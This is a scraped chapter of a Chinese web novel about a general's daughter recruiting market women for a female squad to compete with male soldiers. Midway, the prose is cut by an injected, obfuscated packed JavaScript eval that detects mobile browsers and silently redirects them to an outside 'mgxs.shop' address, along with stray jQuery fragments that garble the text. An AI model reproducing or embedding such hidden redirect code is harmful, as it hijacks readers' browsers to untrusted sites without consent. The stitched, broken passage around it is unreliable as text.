文趣网 > 其他小说 > 遇良缘:携夫君封侯 > 58. 女人不虚
    “小姐,我们这个摆在哪里?”泠鸢想了想,“去招兵处吗?那边去的人少,依我看,不如去城门口,城门口来往的人多。”

    “城门口多为游商、赶路的行人,且,多为男子。”沈京墨抬头看了看天色,“去菜市场。”

    “菜市场?我们为什么要去菜市场?”

    “那里有很多贩卖蔬菜的农妇,还有很多为做饭买菜的女人,属于女子聚集的地方,比旁处妇人更集中。”

    “有道理。”

    京城告示栏很多,仅凭泠鸢一人太过于费事,沈京墨叫来下人,划分好贴告示的区域,二人离开李府,直奔菜市场而去。

    她们在菜市场人来人往的一角,将桌椅放好,把写好的告示悬挂在桌子上。

    泠鸢这才反应过来般道:“小姐,我们可以在四处城门也命人摆上桌子啊,若是有人有意,可以尽快定下来,不用这么跑来跑去的。来这处菜市场,得跑不少路,若是找不着或者不来了,或者临时打消了念头,怎么办?”

    “若是连寻找报名处的功夫都不愿意,即使报了名,只需旁人三言两语的闲话,也大概率会中途退缩。我们要的不是凑齐人数,我们要的是面对任何阻拦条件都不会退缩的伙伴。”

    “说的也是,小姐,我先去贴告示?一会儿再回来帮你。”

    泠鸢离去,没过多时,便有人好奇地围了上来。

    “哎,姐儿,你这是在做什么?卖东西也不见东西,摆张桌子在这里做什么?”

    “是啊是啊,大清早的,你一个妇道人家,不在家张罗一家子吃食,仔细婆家醒来后没有吃喝,若是打骂了你,没处申冤呐。”

    “哎,这纸上写的是什么?”

    任何世道,都缺不了看热闹的群众。

    没过多时,围了一圈人上来。

    沈京墨见人围的差不多了,抱拳高声道:“我乃大将军沈定远之女沈京墨,受御亲王之令,在三日内组建一支五人女子小队,十日后与男兵比试。若比试取胜,女子今后亦可投身行伍,建功立业,取得功勋。若有意者,可来此报名。”

    “哎呦,走走走,我道是什么事,这不是胡闹吗?自古以来,哪有女子参军的道理。”

    “可不是嘛?男人天生力气大,身材魁梧,女人身材矮小瘦削,体重轻盈,哪里能打得过男人,还比试,纯瞎胡闹么。”

    “姐姐,快回去给家里男人准备膳食吧。什么比试,什么参军,跟我们女人没有关系。若是惹得家中人不满,轻则训斥,重者打骂,姐姐何苦来哉。”

    十五六岁的小姑娘,推着一个小板车,上面摆着灶具和食材,看着是要搭包子、馒头摊。

    她擦了擦额上的汗水,如今已到了成亲的年纪,若是大户人家,是不会轻易抛头露面。

    家中贫苦,母亲早亡,底下还有弟妹要养育,她不得不外出奔波。

    想到隔壁陈家娶了新妇,不过是晚起了一会儿,就被一阵辱骂,她好心劝慰。

    沈京墨看着瘦弱的小姑娘,推着数倍重于体重的沉重推车,“这么重的推车,男人来推也会很吃力,你能推着走这么远,我很佩服。”

    “我就是力气大些,旁的也没什么优点了。”小姑娘有些不好意思,别人都说她粗鲁,以后不好找婆家。

    沈京墨:“男人力气大,我们女人力气也不小,男人能做的事情,我们也可以。我们可以居于内宅,也可以出宅闯荡。我们比我们自己想象中的,会更好。”

    “孩子啊,听婶娘儿话,婶娘活了大半辈子,这有些事,就该男人去做,有些事,就该女人去做。各自分工,方不出差错。”

    “是啊,女人就得有女人的样子,正常外出采买,为生计奔波露面是逼不得已,你是大将军之女,富贵荣华在身,不愁吃喝穿住,好日子是守来的,不要在外厮混,若是遭家中男人嫌弃,以后还怎么生活。”

    “孩子,你还小,生活优渥,未经苦难,不知生活艰辛。在家中时,父母宠溺,不是出格的大事,血缘亲情,父母顶多嘴上说几句。婆家到底隔了一层,遇着好人家,新婚时还能顾着面子,不会始终惯着供着,深宅大院里要苛待,使些绊子,轻而易举,不会有个安生的时候。即使娘家势大,也不能事事撑腰。我们是逼不得已才出来抛头露面,你不必吃这个苦。”

    “是啊,伯府这等权贵人家,怎么能接受新媳在外混迹市井,趁着时间还早,没什么人发现,快回家吧。”

    “沈将军国之栋梁,守卫边关多年,我们心里感激,听话快回去。”

    ......

    沈京墨拱手抱拳,行了一个感谢的礼,“多谢。”

    “好孩子,赶紧收拾收拾,回去吧。啊,听话。”

    沈京墨看着苦口婆心的众人,会理解她们的想法,也理解她们的行为。

    她们的劝诫里面,满含了曾经受过的苛待,吃过的苦。

    她们从小被教导以夫为天,以父为天,无夫无父,以兄为天,甚至还要以子为天。什么都没有,还要听从族老的命令。

    她们的想法没有错,是生活的环境造就了现在的思想。

    她们只是被困住了,世世代代的枷锁,将她们死死束缚,无法挣开。

    可是,即使如此,她们也满含善意。

    沈京墨没有与她们争辩谁对谁错,只是看向一旁背着一大背篓粮食准备卖的妇人道:“婶娘背的是红薯?估摸着有近二百斤。”

    “是啊,今年红薯大丰收,卖了这些,能换不少银子补贴家用。”

    “婶娘力气很大,男子背这些也会很吃力。若是不知道寸劲的,可能还不一定能背起来呢。”

    “庄稼户,做活做习惯了。农忙时节,就是与天争,尤其秋收时节,若是晚些,遭了雨水,粮食烂在地里,一年的口粮没了,赋税还得想办法凑齐,大大小小一家子都会没了活路。”

    沈京墨眼里布满怜惜,农人不易,与天争,与地争,与人争,辛辛苦苦一年,勉强种出一年的活命机会,“你们看,男人种庄稼,我们也种庄稼,为什么男人上战场,我们就不可以呢?”

    “这...”

    沈京墨看向另一边的粗布衣妇人,脚上穿着草编的粗鞋,冻裂的伤口裂开,有血迹从粗布袜透出来,肩上挑着两个罗筐,里面装着大大小小的河鱼,还在扑腾着跳动。

    “姐姐,这些河鱼看着新鲜,是你今早去河沟抓来的吧?”

    “新鲜嘞,大家来瞅瞅,还活蹦乱跳着,我清早摸黑去的,还摸着了一条躲起来的大花蛇,吓我扔出了二里地。都来瞧瞧,便宜卖。”

    妇人一边回着,一边不放过任何一个机会推销。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17778278|206580||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    沈京墨未制止有人询价,在询价声中,她声音不高却也让人能听得清楚。

    “男人敢去河沟抓鱼,姐姐也敢去河沟抓鱼。有蛇这等吓人的动物也敢去。男人做的,姐姐也做的。男人能做的事,我们也可以做,不是吗?”

    妇人在一旁给人称鱼,许是卖出去了一些,心里高兴,说话都带着爽朗,“大妹子,摸点鱼算什么,也不是什么正经事,正经事才是男人们的事,我们啊,也就是兼顾些家里。家里老的、小的,等着喂养,哪里顾得上害怕不害怕。”

    “求生存,何尝不是正经事?”沈京墨身材高挑,在一群女子里,身形更为修长,举目看向周边的女人,大的、小的、高的、瘦的,“这世间的事情,都是一样的,从未区分过,该是由谁去做。事分种类,能做的做。男人在做的事情,我们也在做。男人没在做的事情,我们也在做。独独参军打仗,男人可以,我们为什么不可以?我们不是不可以,也不是我们不够聪慧,也不是我们力气小,也不是我们不够魁梧,是因为我们不想,也是因为我们不能想。自古以来的规矩,不让我们想。我们为了照顾孩子、为了照顾老人、为了内宅安宁,男人可以没有后顾之忧,我们放弃了自己可以做的事情。如今,上天愿意给我们机会,我们可以想,我们可以想了。”

    沈京墨眼眶发热,她想要告诉这些不逊于儿郎的女子们,她们可以顶起家中琐事,也可以顶起国计民生。

    劝说没有迎来一句应和。

    嗯,也不难过,从一开始,她本就知道此事难成。

    但是她想试试。

    不论最后的结果如何,她都要尽力一试。

    “嗨呀,小夫人,你不要再做梦了。那些事情,不是我们该做的事情,你说再多,也不是我们要做的事情。”

    沈京墨:“西部四城被夺,百姓生灵涂炭,若是有一日,我们面对战火要如何?我们需要自救,我们不能等着人来救。”

    西部四城百姓被屠一事,是京都近来最大的国事。

    那些凄惨的画面,那些惨绝人寰的屠杀,众人回想不由得缩着脖子。

    众人闻言,瞬间哑声。不多时,断断续续的声音又响起。

    “打仗,有男人上。”

    “若有一日,男人都上了战场,死绝了呢?”

    “我们盛国强大,怎么会有这么恐怖的事情发生。”

    沈京墨:“西部四城的百姓也是这么想的。城墙高高筑起,怎么会被偷城。危险来临之际,我们可以依靠的,只有自己。面对险境,你们不想成为孩子、父母的依靠吗?你们不想救自己的家人吗?危险来临之际,你们可以成为家人的依靠。”

    “你,你不要危言耸听,京都离那些争端之地远着,我们在这里祖祖辈辈生活了上百年,哪里会发生那样的事情。”

    “福祸之事,又如何能确保?我们自己有本领,就可以生存,就可以不再被人所驱驰。参军只是我们争取权利的第一道线。若是今日我们可以参军,来日,我们可以做更多事情。我们只是没有去做,我们可以做到的。”

    沈京墨想说,今日可以参军,来日便可以入朝堂。最终也只以最朴素的话语去阐述。

    若是抱着这样的心思,来日,她们的阻力只会越来越大。男人,是不会将握在手里的权利分出来的。